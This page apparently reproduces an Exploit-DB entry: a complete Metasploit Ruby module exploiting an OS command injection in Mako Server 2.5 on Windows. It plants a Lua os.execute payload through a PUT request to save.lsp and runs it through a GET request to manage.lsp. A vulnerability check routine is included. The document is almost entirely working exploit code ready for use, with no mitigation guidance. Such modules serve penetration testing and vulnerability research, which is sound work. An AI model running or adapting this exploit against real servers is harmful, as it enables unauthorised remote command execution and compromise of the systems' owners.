Mako Server 2.5 – OS Command Injection Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2017-11-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43132/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Mako Server v2.5 OS Command Injection RCE',
    'Description'=> %q{
    This module exploits a vulnerability found in Mako Server v2.5.
    It's possible to inject arbitrary OS commands in the Mako Server
    tutorial page through a PUT request to save.lsp.
    
    Attacker input will be saved on the victims machine and can
    be executed by sending a GET request to manage.lsp.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
    'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
    ],
    'References' =>
    [
    ['EDB', '42683'],
    ['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
    ],
    'Arch' => ARCH_CMD,
    'Platform' => 'win',
    'Targets'=>
    [
    ['Mako Server v2.5 - Windows x86/x64', { }]
    ],
    'DefaultTarget'=> 0,
    'Privileged' => false,
    'DisclosureDate' => 'Sep 3 2017'))
    
    register_options(
    [
    OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
    ]
    )
    end
    
    def check
    vprint_status('Trying to detect running Mako Server and necessary files...')
    
    # Send GET request to determine existence of save.lsp page
    res = send_request_cgi({
     'method' => 'GET',
     'uri'=> normalize_uri(datastore['URI'], 'examples/save.lsp')
     }, 20)
    
    # If response does not include "MakoServer.net", target is not viable.
    if res.headers['Server'] !~ /MakoServer.net/
    vprint_warning('Target is not a Mako Server.')
    return CheckCode::Safe
    end
    
    if res.body
    if res.body =~ /Incorrect usage/
    # We are able to determine that the server has a save.lsp page and
    # returns the correct output.
    vprint_status('Mako Server save.lsp returns correct ouput.')
    return CheckCode::Appears
    else
    # The page exists, but is not returning the expected output.
    # May be a different version?
    vprint_warning('Mako Server save.lsp did not return expected output.')
    return CheckCode::Detected
    end
    else
    # The above checks failed and exploitability could not be determined.
    vprint_error('Unable to determine exploitability, save.lsp not found.')
    return CheckCode::Unknown
    end
    
    return CheckCode::Safe
    end
    
    def exploit
    print_status('Sending payload to target...')
    
    # The double square brackets helps to ensure single/double quotes
    # in cmd payload do not interfere with syntax of os.execute Lua function.
    cmd = %{os.execute([[#{payload.encoded}]])}
    
    # If users want to troubleshoot their cmd payloads, they can see the
    # Lua function with params that the module uses in a more verbose mode.
    vprint_status("Now executing the following command: #{cmd}")
    
    # Send a PUT request to save.lsp with command payload
    begin
    vprint_status('Sending PUT request to save.lsp...')
    send_request_cgi({
     'method' => 'PUT',
     'uri'=> normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
     'ctype'=> 'text/plain',
     'data' => cmd,
     'http' => {
     'X-Requested-With' => 'XMLHttpRequest',
     'Referer' => 'http://localhost/Lua-Types.lsp'
     }
     }, 20)
    rescue StandardError => e
    fail_with(Failure::NoAccess, "Error: #{e}")
    end
    
    # Send a GET request to manage.lsp with execute set to true
    begin
    vprint_status('Sending GET request to manage.lsp...')
    send_request_cgi({
     'method' => 'GET',
     'uri'=> normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
     }, 20)
    rescue StandardError => e
    fail_with(Failure::NoAccess, "Error: #{e}")
    end
    end
    end